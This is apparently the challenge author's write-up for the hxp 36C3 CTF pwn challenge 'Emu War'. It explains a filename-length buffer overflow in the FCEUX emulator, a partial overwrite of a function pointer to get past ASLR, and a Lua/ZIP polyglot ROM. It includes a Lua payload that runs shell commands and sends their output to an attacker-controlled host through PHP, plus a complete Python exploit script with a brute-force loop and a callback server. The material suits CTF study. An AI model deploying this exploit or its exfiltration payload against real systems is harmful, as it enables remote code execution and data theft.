Rating: 0

# hxp 36C3 CTF: Emu War

###### zahjebischte, pwn (unsolved)

> Time for an [Emu War](https://en.wikipedia.org/wiki/Emu_War).
>
> Pl0x upload your coolest ROMs, [here](https://2019.ctf.link/assets/files/zahjebischte-71a96b9be2208733.nes) is mine :>.
>
> ![An actual emu war](/assets/img/posts/63-emu_war/small-emu.jpg)
>
> Download: [Emu War-35eccd2af489ec05.tar.xz](https://2019.ctf.link/assets/files/Emu%20War-35eccd2af489ec05.tar.xz) (495.9 KiB)
> Connection: `http://78.47.138.71:65000/`

This challenge allows uploading ROMs to an online service. ROMs are stored in
a per-user `files/$random_hex_string/` directory, as `category/name` (both of
which are not sanitized, but PHP applies `basename` to the filename itself).
In theory, this allows path traversal, but the challenge setup should prevent
access to any critical information. However, we _can_ control the path that is
passed to the `thumbnail.sh` script.

`thumbnail.sh` seems like a lot, but all it really does is spawn `Xvfb`, launch
`fceux` with the user-provided ROM, take a screenshot, and then clean up.

Within FCEUX, there are buffer overflows and calls to `strcpy` _everywhere_, so
there may well be solutions that differ a little, but that is OK. The reference
solution exploits a buffer overflow in `iNESLoad` (ines.cpp:900), where the path
of the ROM file (generally `argv[1]`) is copied without checks into the global
`LoadedRomFName` buffer (which is only 2048 bytes large):

![Vulnerable part of the source code](/assets/img/posts/63-emu_war/source.png)

To get to that point, we need to supply a valid ROM in iNES format. Because the
filename is so long, we also overwrite a bunch of other globals and smash the
stack in `FCEUI_LoadGameVirtual`, but the attack finishes before we return from
that function, so the canary check is never triggered.

If the path is long enough, we overflow `LoadedRomFName` into the `iNESCart`
global, which contains a function pointer as its first member
(`CartInfo::Power`).

![Overflow into function pointer](/assets/img/posts/63-emu_war/source-fnptr.png)

After returning from `iNESLoad`, `FCEU_LoadGameVirtual` eventually calls
`PowerNES()`, which calls `GameInterface(GI_POWER)`. `GameInterface` is a
global function pointer that was set in `iNESLoad` to point to `iNESGI`, so
that we ultimately end up calling `iNES_ExecPower()`. That function sets up the
emulator's memory and then calls `iNESCart.Power()`:

![iNES_ExecPower](/assets/img/posts/63-emu_war/source-ines-execpower.png)

To bypass ASLR, we only partially overwrite the pointer in `iNESCart.Power`. By
default, it points to the `LatchPower` function (from datalatch.cpp).

Because `strcpy` always writes the null byte, we are somewhat limited in the
number of functions we can call without bruteforcing too many bits of ASLR state.
We limit ourselves to 12 bits of bruteforcing (1 in 4096 attempts, which is
reasonable). In particular, we can only reach 16 pages past the start of the
page on which the original function resides, but we can reach _backwards_ quite a
bit further.

This happens because we assume that our target function is in a range of pages
with an address scheme of `00????`. If the target is supposed to be _after_ the
original value, there are at most `0xffff` locations for the original address
(where everything except for the last two bytes are the same), and I could not
find anything useful there. On the other hand, if we want the target to be
_before_ the original value, we can overwrite the third byte with the null byte
without any issues as long as the difference between what would map to `000000`
(close to our target) and the original function is less than `0x1000000` - a
factor of 256 more.

The best target that I found is FCEUX's Lua support. FCEUX runs a Lua script by
calling `FCEU_LoadLuaCode`, but that requires a path in `rdi`. We can, however,
jump into the middle of `FCEU_ReloadLuaCode` to load and run a piece of Lua code
in a file named `\xbe` (in bash, you can instead use `$'\276'`):

```x86asm
; iNES_ExecPower
call rax

; FCEU_ReloadLuaCode
mov rsi, 0
mov rdi, rax
call FCEU_LoadLuaCode
```

This works because the byte representation of the `mov rsi, 0` instruction is
`be 00 00 00 00`, and `rax` still points to that location. Other calls to
`FCEU_LoadLuaCode` follow exactly the same sequence, but are generally placed
_after_ the `LatchPower` function, so we cannot reach them. In our build, the
jump target is at `0x957dd`, so we end our (overflowing) path with the byte
sequence `dd 87` (which is also a valid UTF-8 character, in case that causes
trouble). For reference, `LatchPower` is at `0xb7be3`.

Finally, use Lua's `os.execute` to obtain the flag (`cat /flag_*`) and leak the
result. As far as I could tell, the version of Lua inside FCEUX does not support
network operations, but we know that PHP is installed on the server, so we can
use `file_get_contents` to connect back to a server controlled by the attacker:

```lua
require('os');
os.execute('php -r \'file_get_contents("http://192.0.2.42:65000/".urlencode(`cat /flag*`));\'');
```

The only thing missing is to find a way to keep the `\xbe` file on the server.
Clearly, we cannot simply upload the Lua script (trying to take a screenshot
would fail, so the server will remove an invalid ROM), so you need to create a
file that is both valid Lua code _and_ accepted as a ROM by FCEUX. An easy way
to do this is to (ab)use FCEUX's ability to extract ROMs from ZIP files (see
the `TryUnzip` function at file.cpp:189):

- Wrap the Lua script in a way that the rest of the ZIP file is commented out
(e.g. start with `--]]` and end with `--[[`)
- Store (i.e. without compression) both this Lua script and a valid ROM in a
ZIP file (e.g. using Python's `zipfile` module)
- Wrap the resulting ZIP file in `--[[` and `--]]` to comment out everything
that is not the Lua script. This breaks some of the length fields inside the
ZIP file, but FCEUX doesn't really care about that.

Here is the full exploit code (you need to provide a valid NES ROM to `-r`; if
you do not have access to one, you can use the ROM provided in the challenge
description):

```python
#!/usr/bin/env python3

import argparse
import enum
import http.server
import io
import os
import random
import socket
import string
import sys
import threading
import time
import urllib.parse
import zipfile

def as_http(string):
return textwrap.dedent(string).lstrip('\n').encode().replace(b'\n', b'\r\n')

def random_token():
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=26))

class upload_status:
OK = 0
THUMBNAILER_FAILED = 1
OTHER_ERROR = 2

def upload(rhost, rport, content, category, filename, phpsessid, mime='application/x-nes-rom'):
boundary = random_token() # Literally whatever...
with socket.socket(socket.AF_INET) as so:
so.connect((rhost, rport))
content = b'--' + boundary.encode() + b'\r\n' + \
b'Content-Disposition: form-data; name="category"\r\n' + \
b'\r\n' + \
category + b'\r\n' + \
b'--' + boundary.encode() + b'\r\n' + \
b'Content-Disposition: form-data; name="rom"; filename="' + filename + b'"\r\n' + \
b'Content-Type: ' + mime.encode() + b'\r\n' + \
b'\r\n' + \
content + b'\r\n' + \
b'--' + boundary.encode() + b'--\r\n'

request = b'POST / HTTP/1.1\r\n' + \
b'Host: ' + rhost.encode() + b':' + str(rport).encode() + b'\r\n' + \
b'Cookie: PHPSESSID=' + phpsessid.encode() + b'\r\n' + \
b'User-Agent: hxp/3.14\r\n' + \
b'Accept: */*\r\n' + \
b'Content-Length: ' + str(len(content)).encode() + b'\r\n' + \
b'Content-Type: multipart/form-data; boundary=' + boundary.encode() + b'\r\n' + \
b'\r\n' + \
content

so.sendall(request)
response = so.recv(4096)

if response.startswith(b'HTTP/1.1 302 Found\r\n'): # Redirects on success
return upload_status.OK, response
elif b'failed to create thumbnail' in response:
return upload_status.THUMBNAILER_FAILED, response
else:
return upload_status.OTHER_ERROR, response

done_event = threading.Event()
print_lock = threading.Lock()
class Handler(http.server.BaseHTTPRequestHandler):
def respond(self):
self.send_response(204)
self.send_header('Content-Length', '0')
self.end_headers()
with print_lock:
print('[*] Handling request from', self.address_string(), file=sys.stderr)
print(urllib.parse.unquote(self.path.lstrip('/')))
done_event.set()
def log_message(self, *args, **kwargs):
pass # No logging by default.
do_HEAD = respond
do_GET = respond

p = argparse.ArgumentParser()
p.add_argument('-R', '--rhost', help='Address of the target (remote) host', default='localhost')
p.add_argument('-p', '--rport', help='Port on the target (remote) host', default=8019, type=int)
p.add_argument('-L', '--lhost', help='Address of the listening host from the remote target', default='127.0.0.1')
p.add_argument('-P', '--lport', help='Listening port on the local PC', default=38019, type=int)
p.add_argument('-S', '--shost', help='Address to listen on (i.e. the local address of the local host on the accessible interface)', default='0.0.0.0')
p.add_argument('-c', '--command', help='Command to execute', default='cat /flag_*')
p.add_argument('-r', '--rom', help='Valid iNES source ROM', default='zahjebischte.nes')
p.add_argument('-j', '--threads', help='Number of request threads to run simultaneously', default=8, type=int)
args = p.parse_args()

# Create upload path
DESIRED_LENGTH = 2146 # This length leads to the correct overflow size
upload_name = b'\xdd\x87' # Overflow is in the category name, because maximum filename length is 255.
path_length = len(b'/var/www/html/files/') + 64 + len(b'/') + len(b'/' + upload_name) # This is server-generated, with the category name between the last two slashes
category_base = b'Pwning'
category_name = category_base
while len(category_name) < (DESIRED_LENGTH - path_length):
category_name += b'/'
print('[*] Path length is', len(b'/var/www/html/files/28edb8be371e48f6a178bfe05fef4f591571a37f81e393296cf4be9e5f7bdea8/' + category_name + b'/' + upload_name), file=sys.stderr)
with open(args.rom, 'rb') as rom_file:
rom = rom_file.read()

# Create polyglot
polyglot = io.BytesIO()
lua_pwn = f"""\n--]]\nrequire('os');os.execute('php -r \\'file_get_contents("http://{args.lhost}:{args.lport}/".urlencode(`{args.command}`));\\'');\n--[[\n"""
with zipfile.ZipFile(polyglot, mode='w', compression=zipfile.ZIP_STORED) as zf:
zf.writestr("pwn.lua", lua_pwn.encode())
zf.write(args.rom, arcname=os.path.basename(args.rom))
polyglot = b'--[[\n' + polyglot.getvalue() + b'\n--]]\n'

# Start server
server = http.server.ThreadingHTTPServer((args.shost, args.lport), Handler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()

# Run
index = 1
index_lock = threading.Lock()
def run(thread_id):
global index
rate = args.threads / 6 # 8 requests per second, but leave some space
age = 0
while not done_event.is_set():
with index_lock:
this_index = index
index += 1

if this_index % 100 == 0:
with print_lock:
print('[*] Attempt', this_index, file=sys.stderr)

attempt_start = time.perf_counter()
if attempt_start - age > 15 * 60:
# 15 minutes passed, change PHPSESSID and try again
phpsessid = random_token() # Whatever... Make the server use this as our session ID - has a valid format!
age = attempt_start
with print_lock:
print('[{}] PHPSESSID ='.format(thread_id), phpsessid, file=sys.stderr)
# Use category_base for this upload to actually make sure the ROM stays on the server.
status, response = upload(args.rhost, args.rport, polyglot, category_base, b'\xbe', phpsessid, 'application/zip')
if status != upload_status.OK:
print('[!] Failed to upload polyglot', file=sys.stderr)
print('[!] Response was', response, file=sys.stderr)
os._exit(1)

status, response = upload(args.rhost, args.rport, rom, category_name, upload_name, phpsessid)
if status != upload_status.THUMBNAILER_FAILED:
with print_lock:
print('[!] Upload failed for attempt', this_index, file=sys.stderr)
print('[!] Response was', response, file=sys.stderr)
attempt_end = time.perf_counter()
wait_time = rate - (attempt_end - attempt_start)
if wait_time > 0:
time.sleep(wait_time)

threads = []
for thread_id in range(args.threads - 1):
thread = threading.Thread(target=run, args=(thread_id + 1,))
threads.append(thread)
thread.start()
run(args.threads) # Last thread is the main thread

for thread in threads:
thread.join()
server.shutdown()
server_thread.join()
```

This will usually take a few thousand attempts, so spin it up, wait 15 minutes,
and pick up your flag. Make sure, however, that you are actually listening and
reachable for the back-connection (you can also listen on a server with `nc` and
just manually interrupt the exploit when the flag shows up there in case you do
not have a public IP address):

```
hxp{if_you_are_happy_and_you_know_it_use_strcpy}
```